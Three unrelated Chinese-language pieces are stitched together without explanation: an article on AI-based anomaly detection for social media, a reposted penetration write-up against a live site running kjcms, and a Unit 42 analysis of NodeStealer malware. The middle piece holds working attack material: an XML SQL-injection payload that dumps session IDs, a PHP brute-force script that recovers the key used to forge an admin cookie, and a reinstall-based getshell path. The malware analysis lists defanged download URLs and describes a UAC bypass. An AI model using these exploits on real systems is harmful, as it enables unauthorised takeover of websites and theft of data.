由於風險評估是AI 和ML 的常見用例,因此有許多適用於各種任務、行業和特定案例的風險分類AI 算法[PDF]。您可以找到一種或多或少適合您的項目的算法,而不是從頭開始開發算法。但是,請記住,您需要使用數據集訓練此算法,並根據您的特定任務進行調整。

儘管功能強大,人工智能驅動的異常檢測仍然嚴重依賴與該系統合作的專家。人工智能只能準備有關異常的信息供人類審查,從而節省專家的時間和精力。但它無法對威脅概率做出最終決定並選擇處理異常的最佳方法。

異常檢測解決方案的效率還很大程度上取決於其實施的好壞。讓我們看看您在進行異常檢測時可能面臨的主要挑戰以及如何克服這些挑戰。

構建基於SaaS 的異常檢測解決方案面臨哪些挑戰?提供如此復雜的解決方案需要雲應用程序開發、人工智能開發甚至合規法方面的專業知識。以下是您的團隊在開發社交媒體異常檢測SaaS 解決方案時可能遇到的主要挑戰:

image.png

用於人工智能訓練的數據集。任何人工智能算法都需要在相關數據集上進行訓練,然後才能應用於現實場景。準備用於異常檢測的數據集包含幾個挑戰。異常檢測算法必須依賴於準確、一致、有效和平衡的數據來進行有效的異常檢測。必鬚根據算法應檢測的異常類型來標記數據。數據集還必須定義什麼構成正常數據和異常數據。

找到適合特定用途的現成數據集幾乎是不可能的,這就是開發團隊經常手動創建數據集的原因。此過程可能非常耗時,並且需要開發和領域專業知識。另外,請記住,您的解決方案在發布後可能需要額外的培訓,以提高其結果的準確性或教它檢測新威脅。

API 限制。在異常檢測解決方案中包含第三方組件及其API 是減少開發時間和成本的好方法。但是,它為您的解決方案帶來了一系列限制。例如,API 限制可能會限制可訪問的數據量和類型,這可能會阻礙異常檢測解決方案的準確性和有效性。 API 還可能具有限制請求頻率和數量的速率限制。此外,API 方面的任何更新都可能破壞集成功能或引入安全風險。

完全預測和克服與API 相關的挑戰是不可能的,但您可以在集成第三方產品之前通過徹底研究第三方產品來為這些挑戰做好準備。

雲硬件的價格。人工智能算法可能需要大量計算能力來處理信息。在雲服務上託管異常檢測解決方案可以讓您避免人工智能發展熱潮導致的硬件瓶頸、擴展問題和可能的硬件短缺。然而,如果不調整算法,租用雲資源的成本可能會快速上升。

為了控制云成本,請明確定義您要監控哪些社交媒體內容以及您希望軟件處理多少信息。確保人工智能僅執行需要智能算法的任務,所有其他任務均由資源消耗較少的非人工智能工具完成。

監管合規性。監控社交媒體的異常檢測解決方案需要存儲有關檢測到的異常和分析結果的信息。根據法律要求保護這些信息可以讓您既確保數據安全又避免違規問題。

這裡的挑戰是缺乏使用人工智能進行異常檢測的法規。雖然沒有專門針對此類解決方案的實踐,但您可以依賴GDPR 等國際法規以及當地的數據保護法律和標準。

內置偏置。人工智能解決方案不可能完全沒有偏見和公平,因為它繼承了創建它的開發團隊的偏見。該團隊根據他們的經驗、心態以及社會和專業背景選擇算法、開發工具和數據進行培訓。人工智能偏見給異常檢測帶來了道德和質量挑戰。

雖然不可能完全消除偏見,但您可以通過以下方式降低將偏見引入AI 模型的風險:

提高開發過程的透明度

收集多樣化的訓練數據集

廣泛測試您的解決方案

聚集多元化的項目團隊

需要利基專業知識。提供複雜的人工智能解決方案需要您聚集具有不同專業知識的專家:人工智能和機器學習開發、SaaS 開發、雲基礎設施管理、網絡安全、目標行業的專業經驗。組建如此多元化的團隊對任何公司來說都是一個挑戰。保留專家團隊也會導致預算增加。

結論監控社交媒體並檢測異常帖子可以幫助您完成各種任務:防止安全威脅、打擊恐怖主義、發現新趨勢和主題等等。使用人工智能進行異常檢測可以幫助專家節省手動工作時間並進行更高質量的異常分析。與手動異常檢測相比,在雲中部署此類解決方案可以降低維護成本並提高準確性。

0x00 前言

打开链接,发现是一个luo聊的app下载,夜神+burp抓包
图片获取到网址,通过js的文件特征去github查找源码文件图片根据代码发现他是一个kjcms,然后去官网下载源码来进行审计

0x01  sql注入

在cls_weixin::on_exe方法中,有许多执行sql语句的点图片这里注入需要满足$arr_msg[‘FromUserName’]可控,发现$arr_msg变量调用了当前类的get_msg()方法,跟进这个方法:static function get_msg() {    $arr_return = array();    $cont = file_get_contents("php://input");    //$cont = file_get_contents(KJ_DIR_ROOT . "/test.txt");    if(empty($cont)) return $arr_return;    $request = simplexml_load_string($cont , 'SimpleXmlElement' , LIBXML_NOCDATA);    $arr_return = fun_format::toarray($request);    return $arr_return;}发现$cont是通过post数据流获取的,传入的xml,继续跟进fun_format::toarraystatic function toarray($cont) {    if(gettype($cont) == "string") $cont = json_decode($cont);    $arr = (array)$cont;    foreach($arr as $item=>$key) {        if(gettype($key) == 'object' ) {            $key = self::toarray($key);        } else if(gettype($key) == 'array'){            $key = self::objtoarray($key);        }        $arr[$item] = $key;    }    return $arr;}这里不太重要,只是把xml的值转化为数组,所以在on_exe方法中的$arr_msg数组是可控的,即可以产生sql注入,经过本地测试发现,在on_exe方法中的数据查询很多都不存在表,这里发现一个点:图片跟进tab_weixin_message::get_one方法,参数$key是我们可控的,参数$site_id无关紧要图片全局查找cls_weixin::on_exe,在根目录weixin.php调用了这个方法<?phpinclude("inc.php");if(isset($_GET["echostr"])) {    echo $_GET["echostr"];exit;}cls_weixin::on_exe();现在就只需要构造payload了,这里要进入到执行tab_weixin_message::get_one方法,需要进过:
issert($arr_msg['ToUserName'])->issert($arr_msg['FromUserName'])->$arr_msg['MsgType'] == 'event'->$arr_msg['Event']) == 'click'
图片
这个点只能时间盲注,在我本地测试的时候可以通过updatexml(1,if(({}),0x7c,1),1)的方法来实现时间盲注变成布尔注入,目标环境问题无法实现,我就写了个脚本去跑账号密码。图片发现自己傻逼了,在目录文件中会生成数据库报错的文件,路径为:/data/error/db_query/2020_09_16.txt(年份_月份_日.txt)图片知道表结构和字段,直接去目标站注入,拿到后台密码hash,发现解密不了,看了下代码,有盐,是通过md5(pass+盐)进行加密的,这里盐也是在密码表中可以看到的,发现也解密不了。

0x02  伪造cookie

在登录处,发现cookie中的kj_s_id和kj_login_time是用来登录的,感觉可以伪造,这里我跟进下代码,看下kj_s_id是怎么生成的,验证登录处代码:
function act_login_verify() {        $arr_return = $this->on_login_verify();        return fun_format::json($arr_return);    }跟进on_login_verify方法function on_login_verify() {    $arr_return = array("code" => 0 , "id"=>0 , "msg" => cls_language::get("login_ok"));    $arr_fields = array(        "user_name" => fun_get::post("uname"),        "user_pwd"   => fun_get::post("pwd"),        "verifycode" => fun_get::get("verifycode"),        "autologin" => fun_get::get("autologin")    );    if(!fun_is::pwd($arr_fields["user_pwd"])) {        $arr_return["code"] = 7;        $arr_return["msg"]  =  fun_get::rule_pwd("tips");        return $arr_return;    }    $arr = cls_obj::get("cls_user")->on_login($arr_fields);    if( $arr["code"] != 0 ) {        $arr_return = $arr;        return $arr_return;    }    return $arr_return;}$arr_fields数组中获取登录的账号密码,继续跟进on_login方法图片$str_id是通过fun_get::safecode方法来的,现在只需要$perms[‘sid’]是怎么来的,跟进查看,并没发现到什么,这里,我直接打印出self::$perms[‘sid’]的值,发现是ip+时间戳+随机数的形式
echo self::$perms['sid'];exit;
图片发现这里数据存放在数据库的kj_sys_session表中的session_id字段,而session_user_id表示是否登录在,1表示登录在,0表示退出了登录。图片我们有注入点,这个session_id我们可以通过注入来获取到的,现在跟进fun_get::safecode方法,看cookie中的kj_s_id是怎么加密的图片跟进$str_key变量,看他是从哪里来的,跟进cls_config::MD5_KEY,发现他来自data\config\cfg.env.online.php中的MD5_KEY常量。而这个常量是安装的时候随意random的五位数图片最后获取的$str_return是由3部分组成$str_left,base64($msg_val),$str_right,所以这个$str_key变量需要我们继续爆破,并且知道fun_get::safecode方法的$msg_val参数是ip+时间戳+随机数的形式,下面就进行漏洞复现。

0x03 漏洞复现

首先抓取目标站后台登录时的cookie,如:NgMTE5LjYyLjEyNC4yMTE1OTgzNTI1NDM4NzUYTBjZmVkN2ZmMzY2OTYzYg,假设我的ip地址为104.192.225.86,通过base64为MTAzLjE5Mi4yMjUuODY=,去掉=。本地经过测试发现ip+时间戳+随机数通过base64编码后为36位,所以上面的加密密文就为:
Ng
MTE5LjYyLjEyNC4yMTE1OTgzNTI1NDM4NzUY
TBjZmVkN2ZmMzY2OTYzYg
我们通过注入获取$msg_val参数和登录状态<?xml version="1.0"?><note>    <ToUserName>cccc</ToUserName>    <FromUserName>1</FromUserName>    <MsgType>event</MsgType>    <Event>click</Event>    <EventKey>1' and updatexml(1,concat(0x7e,(select concat(session_id,0x7e,session_user_id) from `kj_sys_session` order by session_user_id desc limit 0,1),0x7e),1)#</EventKey></note>图片成功读取到了,这里就需要爆破MD5_KEY,他是五位数的,用他的代码修了下php的爆破脚本<?phpfunction safecode($msg_val,$msg_type="encode",$str_key_val = '36118'){ // 192.168.50.1351600069125552        $str_key       = $str_key_val;        $str_en_key    = base64_encode($str_key);        $str_md5_key   = md5($str_key);        $str_md5_key_1 = substr($str_md5_key , 0 , 1);        $str_md5_key_2 = substr($str_md5_key , -1 , 1);        $lng_key_1     = ord($str_md5_key_1);        $lng_key_2     = ord($str_md5_key_2);        $lng_x_key1    = substr($lng_key_1,-1,1);        if($lng_key_1 > 9) {            $lng_x_key2 = intval(substr($lng_key_1 , -2 , 1)) + $lng_x_key1;        }else{            $lng_x_key2 = $lng_x_key1 * 2;        }        $str_left      = base64_encode(substr($str_md5_key , $lng_x_key1 , $lng_x_key2));        $lng_2_key1    = substr($lng_key_2 , -1 , 1);        if($lng_2_key1 > 9){            $lng_2_key2 = intval(substr($lng_key_2 , -2 , 1)) + $lng_2_key1;        }else{            $lng_2_key2 = $lng_2_key1 * 2;        }        $str_right = base64_encode(substr($str_md5_key , -$lng_2_key2));        if($msg_type == "encode"){            $str_en_id   = base64_encode($msg_val);            $str_en_code = $str_left . $str_en_id . $str_right;            $str_return  = str_replace("=" , "" , $str_en_code);        }else{            $str_left    = str_replace("=" , "" , $str_left);            $str_right   = str_replace("=" , "" , $str_right);            $str_llen    = strlen($str_left);            $str_rlen    = strlen($str_right);            $str_len     = strlen($msg_val);            if($str_len < ($str_llen + $str_rlen)){                $str_return = "";            }else{                $str_return = base64_decode(substr($msg_val , $str_llen , -$str_rlen));            }        }        return $str_return;    }

function getNumber($start=1,$end=99999){    for ($i=$start; $i <= $end; $i++) {         $arr[] = substr(str_repeat("0",6).$i,-5,5);    }    return $arr;}
$numbers= getNumber(1,99999);foreach ($numbers as $val){    $keyss = safecode('105.112.215.421600227695831','encode',$val)."<br />";    echo $keyss.':'.strval($val)."<br />";    if ($keyss == 'NgMTAzLjE5Mi4yMjUuNDIxNjAwMjI3Njk1ODMxYTBjZmVkN2ZmMzY2OTYzYg'){        echo $val;        exit;    }}成功获取到了MD5_KEY,然后我们在通过这个脚本利用这个MD5_KEY来生成kj_s_id图片最后就可以伪造cookie登录后台了图片图片

0x04  重装漏洞getshell

本来以为后台可以直接修改文件上传的后缀,发现事情并没有那么简单图片发现还是限制了php无法上传,跟进这部分代码看了下,lib\tab\tab.other.attatch.php图片这里会先获取上传文件的后缀,来判断后缀是否存在$arr_no_allow_ext数组中,所以会先判断数组里面的上传类型,在判断允许上传的类型。这里只有针对windows可以getshell了,我们将上传类型修改成php(空格),由于windows特性,会把空格去掉。图片然而我们的目标是linux,这种方式不行了,再回来看看代码后台是否有getshell的点,除了在重新安装的点就没发现可以shell的点了(自己太菜了,找到不影响正常功能shell的点)。在文件app\model\install\mod.index.php中的on_config方法:图片mysql的账号密码是通过file_put_contents函数写入到配置文件\data\config\cfg.env.online.php,并没有通过这个cms的过滤函数fun_get::get/post方法,这个方法过滤如下:static function filter_base($str_x , $is_reback=false) {    $search = array("&amp;","&","/amp;/amp;/amp;",'"',"'","<",">",chr(13).chr(10));    $replace = array("/amp;/amp;/amp;","&amp;","&amp;","&quot;","&#039;","&lt;","&gt;",chr(13));    if($is_reback) {        $str_x = str_replace($replace , $search , $str_x);        $str_x = str_replace('\\\'',"'",$str_x);//替换经过mysql转义的格式        $str_x = str_replace('\\"','"',$str_x);    }else{        $str_x = str_replace($search , $replace , $str_x);    }    return $str_x;}全局查了下,$is_reback参数都是为默认的false,为true的话,这个过滤就没啥影响了。现在重装漏洞的点可以实现了,需要一处任意文件删除来将\data\install.inc锁文件进行删除就可以重新安装了。在后台系统日志处,有一次日志文件删除的点,这个点不用看代码都知道可以删除,因为在fun_get::get/post方法中并没有过滤/``.图片删除了install.inc锁文件就可以进行重新安装了。在数据库名填上我们的任意php代码,就可以shell了。图片重装漏洞虽然可以拿下shell但是不推荐使用重装漏洞会影响正常网站的数据


转自于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486466&idx=1&sn=121b62ef2740e8474119c3914d363e4c&chksm=ce67a69bf9102f8deac87602cbb4504f9a59336fb0113f728164c65048d0962f92dd2dd66113&scene=21#wechat_redirect

Malware-r3d2.png

Unit 42的研究人員最近發現了一個以前未被報導的網絡釣魚活動,該活動傳播了一個信息竊取器,該信息竊取器可以完全接管攻擊目標Facebook的商業賬戶。 Facebook的商業賬戶受到了網絡釣魚誘餌的攻擊,這些誘餌提供了商業電子表格模板等工具。這是攻擊者以Facebook商業賬戶為目標的日益增長的趨勢的一部分,目的是廣告欺詐和其他目的,這一趨勢在2022年7月左右隨著Ducktail信息竊取者的發現而出現。

大約8個月後,即2023年3月,據報導,偽裝成ChatGPT Chrome擴展的新變種FakeGPT竊取了Facebook廣告帳戶。 Unit 42還報導了2023年4月以ChatGPT為主題的詐騙攻擊。 2023年5月,Meta發布了一份名為NodeStealer的新信息竊取惡意軟件報告,該報告描述了2022年7月編譯的惡意軟件和2023年1月發現的涉及NodeSteiler的惡意活動。 NodeStealer允許攻擊者竊取瀏覽器cookie來劫持平台上的賬戶,特別是針對商業賬戶。

在調查這一增長趨勢時,研究人員發現了一場始於2022年12月左右的活動,此前沒有被報導過。

在活動中傳播的信息竊取器與Meta分析的2022年7月用JavaScript編寫的NodeStealer變體有許多相似之處。然而,新的攻擊活動涉及兩個用Python編寫的變體,這些變體使用額外的功能進行了改進,攻擊者為這些變體配備了加密貨幣竊取功能、下載功能和完全接管Facebook商業賬戶的功能。

NodeStealer給個人和組織帶來了巨大的風險。除了對Facebook商業賬戶(主要是金融賬戶)的直接影響外,該惡意軟件還竊取瀏覽器的憑證,這些憑證可用於進一步的攻擊。

在本文中,我們將介紹一些未報導的針對Facebook商業賬戶的網絡釣魚活動,並將對惡意軟件進行深入分析。此外,我們將通過Cortex XDR(設置為僅檢測模式)的方式展示惡意軟件的操作過程。我們將為Facebook商業賬戶所有者如何保護他們的賬戶提供建議。雖然這一活動不再活躍,但有跡象表明,其背後的攻擊者可能會繼續使用和發展NodeStealer,或使用類似技術繼續針對Facebook商業賬戶。也有可能對以前受到該攻擊的組織進行持久性攻擊。

網絡釣魚活動從分析數據來看,信息竊取者的主要攻擊手段是網絡釣魚活動。網絡釣魚活動發生在2022年12月,提供了兩種信息竊取的變體,為了方便講解,我們在本文中將其稱為變體#1和變體#2。

此次活動的主題是為企業提供廣告材料。該攻擊者使用多個Facebook頁面和用戶發布信息,誘導受害者從已知的雲文件存儲提供商那裡下載鏈接。點擊後,一個.zip文件被下載到設備上,其中包含惡意的信息竊取程序可執行文件。

1.png

Facebook釣魚帖子誘導受害者下載受感染的.zip文件

變體#1分析該活動中信息竊取程序的第一個變體在內部命名為word.exe。它是用Nuitka編譯的,攻擊者為文件使用了一個唯一的產品名稱:Peguis。

2.png

word.exe的元數據

變體#1的進程樹非常“嘈雜”,這意味著它創建了多個進程並執行了許多被認為是異常活動的指示的操作,並且不是非常秘密,包括呈現給用戶的彈出窗口。

主要功能如上所述,NodeStealer的目標是Facebook的商業賬戶。變體#1有一些額外的功能,這使它能夠實現以下功能:

竊取Facebook商業賬戶信息;

下載其他惡意軟件;

通過GUI(圖形用戶界面)禁用Windows Defender;

MetaMask(加密貨幣錢包)盜竊;

竊取Facebook商業賬戶信息。

惡意軟件執行時的第一件事是檢查是否有Facebook商業帳戶登錄到受感染設備的默認瀏覽器。它通過連接到https://business.facebook.com/ads/ad_limits/並檢查標頭來實現這一點。

3.png

使用Facebook的Graph API竊取信息

如果確實有一個Facebook商業帳戶登錄,惡意軟件會連接到Graph API(Graph.Facebook.com),並通過標頭竊取用戶ID和訪問令牌。

根據Meta的說法,“Graph API是將數據輸入和輸出Facebook平台的主要方式。這是一個基於http的API,應用程序可以使用它以編程方式查詢數據、發布新故事、管理廣告、上傳照片以及執行各種各樣的其他任務。”

NodeSteiler使用Graph API來竊取目標的信息,包括:關注者數量、用戶驗證狀態、帳戶信用餘額、帳戶是否預付以及廣告信息。

惡意軟件還通過向https://www.facebook.com/ajax/bootloader-endpoint/?modules=AdsLWIDescribeCustomersContainer.react發送請求來獲取Facebook JavaScript模塊adslwidcribecustomerscontainer的內容。

該JavaScript模塊是Facebook廣告平台的一部分,用於描述和管理Facebook廣告中的自定義受眾。自定義受眾允許廣告商根據特定人群的人口統計、興趣、行為或其他標準瞄準特定人群,惡意軟件竊取這些信息並將其發送到其命令和控制服務器(C2)。

除了竊取有關Facebook商業賬戶的信息外,該惡意軟件還旨在竊取這些賬戶的憑證。為了做到這一點,它會在以下瀏覽器的cookie和本地數據庫中檢查Facebook用戶和密碼:Chrome、Edge、Cốc cốc、 Brave和Firefox。

4.png

從瀏覽器的數據庫中竊取密碼

5.png

NodeStealer執行的警報,如Cortex XDR所示

然後惡意軟件通過Telegram洩露輸出文件並刪除文件以消除其踪跡:

6.png

通過Telegram盜取

7.png

跟踪並刪除NodeStealer

下載其他惡意軟件變體#1被配置為從以下URL下載兩個.zip文件:

hxxps://tinyurl[.]com/batkyc,重定向到hxxp://adgowin66[.]site/ratkyc/4/bat.zip;

hxxps://tinyurl[.]com/ratkyc2,重定向到hxxp://adgowin66[.]site/ratkyc/4/ratkyc.zip;

Bat.zip包含禁用Windows Defender的ToggleDefender批處理腳本,Ratkyc.zip包含三個惡意軟件:

名為COM Surrogate.exe的BitRAT;

一種名為Antimalware Service Executable.exe的隱藏虛擬網絡計算(hVNC)RAT;

XWorm命名的Windows Tasks.exe主機進程;

為了下載.zip文件,惡意軟件實現了FodHelper UAC繞過。使用此方法,攻擊者試圖繞過用戶帳戶控制(UAC)並執行用於下載上述zip文件的PowerShell腳本。

8.png

FodHelper UAC繞過NodeStealer中的編碼命令

base64壓縮後的命令翻譯如下:

9.png

以下是當Cortex XDR設置為僅檢測模式時,變體#1的執行流程:

10.png

變體#1的執行流程,如Cortex XDR中所示,設置為僅檢測模式

下載並提取文件後,NodeStealer通過註冊表運行鍵為三個惡意軟件(BitRAT、hVNC RAT和XWorm)以及自己的二進製文件(word.exe)設置持久性。

通過GUI禁用Windows Defender除了ToggleDefender批處理腳本之外,變體#1還使用了另一種技術來禁用Windows Defender,這次使用的是GUI。這是一種非常嘈雜的方法,因為最終用戶將能夠看到Windows Defender GUI在設備上彈出,並且惡意軟件會將其禁用。

用於打開GUI和禁用WindowsDefender的命令如下圖所示。

11.png

用於禁用Windows Defender的命令

MetaMask竊取該惡意軟件還試圖通過竊取Chrome、Cốc Cốc和Brave瀏覽器的MetaMask證書來實現經濟利益最大化。

MetaMask是通過瀏覽器訪問以太坊錢包的擴展。通過竊取此應用程序的憑證,攻擊者可以從用戶的錢包中竊取加密貨幣。

正如它在竊取Facebook cookie和憑證時所做的那樣,該惡意軟件提取了用於存儲瀏覽器信息的本地數據庫。它在其中搜索擴展nkbihfbeogaeaeahlefnkodbefgpgknn,這是直接從擴展庫安裝MetaMask時的擴展。

然後,惡意軟件將數據複製到一個文件中,並使用Telegram將其洩露出去,就像它對Facebook憑證所做的那樣。

12.png

從Brave瀏覽器竊取MetaMask憑證

變體#2分析該活動中的第二個版本內部命名為MicrosofOffice.exe,並與第一個版本一樣使用Nuitka進行編譯。但與第一種變體不同,它不會對毫無戒心的用戶產生大量可見的活動。對於這種變體,攻擊者使用了產品名稱“Microsoft corporation”(最初是惡意軟件開發者拼錯的)。

13.png

變體#2的元數據偽裝成MicrosofOffice.exe

主要功能與第一個變體一樣,變體#2以Facebook商業賬戶信息和MetaMask錢包為目標,但它的功能更近一步:

試圖接管Facebook帳戶;

實現反分析功能;

竊取電子郵件;

接管Facebook帳戶;

變體#2試圖購買由合法越南網站(hotmailbox[.]me)提供的在線電子郵件服務。

它試圖使用一個嵌入式API密鑰來實現這一點,該密鑰保存特定服務的信用餘額:https://api.hotmailbox[.]me/mail/buy?apikey=mailcode=HOTMAILquantity=1。

14.png

向hotmailbox[.]me購買郵箱服務

15.png

惡意軟件使用的API密鑰的信用餘額

如果購買嘗試失敗,惡意軟件再次嘗試使用持有專用信用餘額的API密鑰從另一個越南網站(dongwanfb[.]net)購買郵箱服務:https://api.dongvanfb[.]net/user/buy?apikey=

16.png

向dongvanfb[.]net購買郵箱服務

如果購買嘗試成功,惡意軟件將保存新郵箱的電子郵件和密碼,這些郵箱將在活動的下一階段使用。

接下來,惡意軟件使用不需要驗證密碼的技術修改受害者Facebook商業帳戶的帳戶電子郵件地址,使用以下URL: https://www.facebook[.]com/add_contactpoint/dialog/submit/。

如果需要,惡意軟件會通過電子郵件向https://getcode.hotmailbox[.]me地址發送獲取Facebook驗證碼的請求。

17.png

用於向hotmailbox[.]me請求Facebook身份驗證碼的代碼

然後,惡意軟件檢查更新後的電子郵件,查看修改是否成功:

18.png

查看Facebook賬戶的更新郵件

如果成功,攻擊者現在已經通過將合法用戶的電子郵件地址替換為他們控制的郵箱來接管Facebook帳戶。

讀取電子郵件此外,該惡意軟件還具有解析電子郵件的功能,因此它可以讀取受害者的電子郵件。雖然我們沒有直接觀察到此類活動,但攻擊者添加此功能可能會干擾任何通知受害者配置更改的Facebook警報。

19.png

負責讀取電子郵件的功能

反分析和反虛擬機的功能在分析的變體#2的幾個樣本中,攻擊者添加了一個簡單的功能來檢查是否存在惡意軟件分析工具和虛擬機進程。如果其中一個正在系統上運行,惡意軟件就會自行終止。

20.png

反分析和反虛擬機的功能

NodeSteiner變體之間的差異如上所述,本文分析的NodeStealer的兩個變體之間有相似之處,但也有許多不同之處。下表比較了Meta報告的版本中NodeStealer的主要功能,以及不同變體中的主要功能:

21.png

NodeSteiner變體之間的差異比較

越南攻擊者有趣的是,Ducktail和NodeStealer之前都被Meta懷疑是來自越南的攻擊者。 NodeStealer惡意軟件與越南攻擊者之間的可疑聯繫可以用不同的方式解釋。

第一個可能表明這種聯繫的發現是,在本文分析的兩個變體的Python腳本中,我們遇到了許多越南語字符串。

22.png

在NodeStealer中找到的字符串“TongChiTieu”的翻譯

23.png

在NodeStealer中找到的字符串“ThoiGianCheck”的翻譯

懷疑與越南攻擊者有聯繫的第二個跡像是,攻擊者的目標是一個名為Cốc Cốc的瀏覽器,該瀏覽器在其“關於我們”頁面上自稱為“越南人民的網絡瀏覽器和搜索引擎”。

24.png

如上所述,在變體#2中發現了疑似越南人與NodeStealer有關的第三個跡像是,這種變體試圖從兩個不同的越南網站(Hotmailbox[.]me和Dongvanfb[.]net)購買在線郵箱服務。

總結在這篇文章中,我們發現了一個針對Facebook商業賬戶的NodeStealer惡意軟件活動。作為活動的一部分,我們發現了NodeStealer的兩個變體,變體#1和變體#2。對這兩種變體的分析揭示了惡意軟件的一些有趣功能,所有這些都可能增加攻擊者的潛在經濟利益。

這名被懷疑來自越南的攻擊者為新變種提供了加密貨幣竊取功能、下載功能和完全接管Facebook商業賬戶的功能。

緩解措施1.Facebook鼓勵企業賬戶所有者使用強密碼並啟用多因素身份驗證;

2.企業使用基於雲的威脅分析服務可以準確地識別出這些樣本是惡意的,具體包括:

2.1 通過URL過濾和DNS安全將與該組織關聯的URL和域識別為惡意;

2.2 具有高級威脅防護安全訂閱的下一代防火牆;

2.3 分析來自多個數據源(包括終端、網絡防火牆、Active Directory、身份和訪問管理解決方案以及雲工作負載)的用戶活動來檢測基於用戶和憑據的威脅。